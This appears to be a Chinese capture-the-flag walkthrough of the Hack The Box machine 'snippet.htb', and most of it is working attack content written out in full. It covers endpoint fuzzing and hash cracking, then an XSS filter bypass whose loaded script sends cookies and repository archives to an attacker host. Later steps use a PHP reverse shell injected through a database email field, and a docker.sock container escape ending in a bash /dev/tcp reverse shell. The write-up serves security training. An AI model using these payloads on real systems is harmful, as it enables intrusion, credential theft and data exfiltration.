这台靶机开放的端口如下:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
2048 82:21:e2:a5:82:4d:df:3f:99:db:3e:d9:b3:26:52:86 (RSA)
256 91:3a:b2:92:2b:63:7d:91:f1:58:2b:1b:54:f9:70:3c (ECDSA)
_ 256 65:20:39:2b:a7:3b:33:e5:ed:49:a9:ac:ea:01:bd:37 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
_http-title: snippet.htb
_http-server-header: nginx/1.14.0 (Ubuntu)
绑定的域名及子域名如下:
snippet.htb
dev.snippet.htb
mail.snippet.htb
在JS代码中发现management/dump
路径,接下来构建http请求报文,尝试对其字段进行爆破:
从Brup Suite中抓包,将其修改为以下内容,并存为文件requests.txt:
POST http://snippet.htb/management/dump HTTP/1.1
Host: snippet.htb
Content-Length: 13
Accept: text/html, application/xhtml+xml
X-Inertia-Version: 207fd484b7c2ceeff7800b8c8a11b3b6
X-Requested-With: XMLHttpRequest
X-Inertia: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
X-XSRF-TOKEN: eyJpdiI6Inlwd2RsSGZEWVl4eU1aUi9WMTVVZWc9PSIsInZhbHVlIjoiNVRBNFBQdTF2NTgzSXNhdkZMUG44RDBMQ1I1eDdCeEsvZ0RLREgzK2ZBaEhtZE85ZmR0VFZ2SlFHdi9DZTNDYkhGRWR0Nm5Eb1MvNERYNnpvaXdZRHJqSXFkT3o2dWo4ZzF0TFBQRmVXYjdNNkM2NFhlR0NwekEvNFpJcytLejEiLCJtYWMiOiI0M2U1NjUwMTFkMmFjYzdlMWE1NTY4YzhmMjA3MmI1MzkwYmI4ZjMyOGZiNTUzYjkwYWI1NTNlZGYzNWNjZGJjIiwidGFnIjoiIn0=
Content-Type: application/json
Origin: http://snippet.htb
Referer: http://snippet.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6Inlwd2RsSGZEWVl4eU1aUi9WMTVVZWc9PSIsInZhbHVlIjoiNVRBNFBQdTF2NTgzSXNhdkZMUG44RDBMQ1I1eDdCeEsvZ0RLREgzK2ZBaEhtZE85ZmR0VFZ2SlFHdi9DZTNDYkhGRWR0Nm5Eb1MvNERYNnpvaXdZRHJqSXFkT3o2dWo4ZzF0TFBQRmVXYjdNNkM2NFhlR0NwekEvNFpJcytLejEiLCJtYWMiOiI0M2U1NjUwMTFkMmFjYzdlMWE1NTY4YzhmMjA3MmI1MzkwYmI4ZjMyOGZiNTUzYjkwYWI1NTNlZGYzNWNjZGJjIiwidGFnIjoiIn0%3D; snippethtb_session=eyJpdiI6ImJIcjVDOWt1WFpLeUNuTnN3aEJBdWc9PSIsInZhbHVlIjoiN2lnbTY2MVR0VUZsOEhIMHZ3SEhUUERRVjdMR2srNjRBdWpLMlZoYkFheG1uM1M0bWZkSkFRcEZPUUtTNVhINlh4QkdWQ1EzakxLTkRTYVVURXkwQzV5N0hpRG13OG1ndXdiajVVYWFqempHd0twVXp6NFZITjluTjVIdS84dzMiLCJtYWMiOiJjZmJkYmJlN2M0MTUwY2UxOTU1OTMwOWZmZGM0YTU2YmE3ZDI0YjNlNDJjNjc3M2VmNjZkN2I2Y2E3NmQ4N2I1IiwidGFnIjoiIn0%3D
Connection: close
{"FUZZ":"bar"}
接下来使用ffuf对其进行字段爆破,得到前一个字段为download
ffuf -request requests.txt -request-proto http -w /usr/share/wfuzz/wordlist/general/common.txt -mc 200,400 -fr "Missing arguments"
再将json字段的FUZZ替换为download,将bar替换为FUZZ,爆破bar字段,得到第二个字段为users
ffuf -request requests.txt -request-proto http -w /usr/share/wfuzz/wordlist/general/common.txt -mc 200,400 -fr "Unknown tablename"
从management/dump
接口中,我们得到了以下密码哈希,接下来尝试对其做碰撞,找出弱密码:
30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82
98204173dffb1e65a20236e50914a7f3c2dfa6935ecc7de9dd341f7f5237ef05
4683b63ef783ada656e0de04e6e88b61a220fdd8b36b90e1a2f906e500e4c640
70bf03b94c0c4d5a2c03ae4fe0fc8b56e5c19c02f7dff1ef8f6be781440fc21a
...
首先,对哈希类型进行识别:
hashcat "30ae5f5b247b30c0eaaa612463ba7408435d4db74eb164e77d84f1a227fa5f82"
从结果中,我们可以看到最大可能性为SHA2-256。
接下来对其进行碰撞,得到password123
hashcat -a 0 -m 1400 hashes /usr/share/wordlists/rockyou.txt
其对应的用户名为:letha@snippet.htb,fredrick@snippet.htb,gia@snippet.htb,juliana@snippet.htb。
随便找一个用户名进行登录后,可以在这个链接里看到jean的凭据http://snippet.htb/snippets/update/2
curl -XGET http://dev.snippet.htb/api/v1/users/jean/tokens -H 'accept: application/json' -H 'authorization: basic amVhbjpFSG1mYXIxWTdwcEE5TzVUQUlYblluSnBB'
base64解码后,得到jean的密码:EHmfar1Y7ppA9O5TAIXnYnJpA
jean存在extension的仓库,代码是一个Chrome浏览器的扩展,可以把issue里的内容挂在列表里。
其中,存在问题的代码如下:
function check(str) {
// remove tags
str = str.replace(/<.*?>/, "")
const filter = [";", "\'", "(", ")", "src", "script", "&", "", "[", "]"]
for (const i of filter) {
if (str.includes(i))
return ""
}
return str
}
上述代码存在两个问题:
而从仓库中,Settings -> Collaborators里发现charlie用户。
为了减少开发Exp的次数,我选择直接加载我们自己代码的XSS Payload。
首先第一步,构造一个动态加载js的代码:
var script = document.createElement('script');
script.type = 'text/javascript';
script.src= 'http://<your ip>:8888/exp.js';
document.getElementsByTagName('head')[0].appendChild(script);
第二步,为了绕过过滤条件,对其进行base64编码:
echo "var script=document.createElement('script');script.type = 'text/javascript';script.src= 'http://<your ip>:8888/exp.js';document.getElementsByTagName('head')[0].appendChild(script);" base64
第三步,找到一个满足过滤条件的XSS代码:
<img SRC="x" onerror=eval.call`${"eval\x28atob`<base64 code>`\x29"}`>
第四步,拼装,生成最终的XSS Payload:
XSS payload: <test><img SRC="x" onerror=eval.call`${"eval\x28atob`<base64 code>`\x29"}`>
第五步,创建exp.js,内容如下,并搭建http服务:
fetch("http://<your_ip>/data/" + btoa(document.cookie) );
接下来,我们就可以在仓库中提一个Issue,把XSS的payload放进去,等待http中的内容反弹。
前文提到,该仓库的协同开发的是Charlie,所以,我们在改仓库提的Issue最终Charlie用户会看到,但实际上,我们没法通过document.cookie来获取Charlie用户的cookie,因为该cookie被设置为http-only。
那接下来,就要探索,如何去进一步利用XSS的漏洞了。
在http://dev.snippet.htb/api/swagger 中,我们可以看到很多API,比较有用的是http://dev.snippet.htb/api/v1/users/charlie/repos 接口。
接下来,我们修改exp.js的内容如下:
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then((rep=>{
return rep.text()
})).then((content)=>{
fetch("http://<your ip>/data/"+btoa(content))
})
从返回的结果中,可以看到Charlie用户存在一个backups的仓库。
最后,修改exp.js内容如下:
fetch('http://dev.snippet.htb/charlie/backups/archive/master.zip').then((rep=>{
return rep.blob()
})).then((blob)=>{
const fileReader = new FileReader();
fileReader.readAsDataURL(blob);
fileReader.onload = (e) => {
fetch("http://<your ip>/data/"+btoa(e.target.result));
};
})
拿到backup仓库的文件,拿到Charlie用户的私钥。
通过su横向移动至jean用户,在Project目录下发现AdminController.php在验证邮箱时存在代码执行漏洞。
从pspy中获得mysql凭据: root / toor。
通过ssh将远程3306端口转发至本地:ssh -L 127.0.0.1:3306:127.0.0.1:3306 charlie@10.10.11.171 -i id_rsa
以gia用户身份进行登录,然后通过mysql将其身份改为Manager,将kaleigh@snippet.htb用户的邮箱改为可以反弹shell的payload。
mysql -u root -ptoor -h 127.0.0.1
use webapp;
UPDATE users set user_type='Manager' where email='gia@snippet.htb';
UPDATE users set email='kaleigh@snippet.htb > /dev/null; php -r \'$sock=fsockopen(<your ip>,8443);`sh <&3 >&3 2>&3`;\' echo "123"' where email='kaleigh@snippet.htb';
接下来,对payload进行邮箱验证时,便会获得container的shell。
在容器内部,我们发现一个可写的docker.sock文件,所以接下来,我们可以通过curl去执行docker的一些命令。
首先,我们来看一下当前docker下有哪些image
curl -s --unix-socket /app/docker.sock http://localhost/images/json
从返回的列表中,我们以php:7.4-fpm-alpine 为例,创建一个该对象下的实例:将宿主机的根目录挂在在容器的tmp目录下,然后执行chroot,最后反弹shell。
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/<your ip>/4444 0<&1'\\\"\"]"
curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"php:7.4-fpm-alpine\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=gaoxiaodiao_root
创建好容器后,用以下命令启动容器:
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/gaoxiaodiao_root/start"
接下来,从反弹的shell里拿到root的私钥。
完!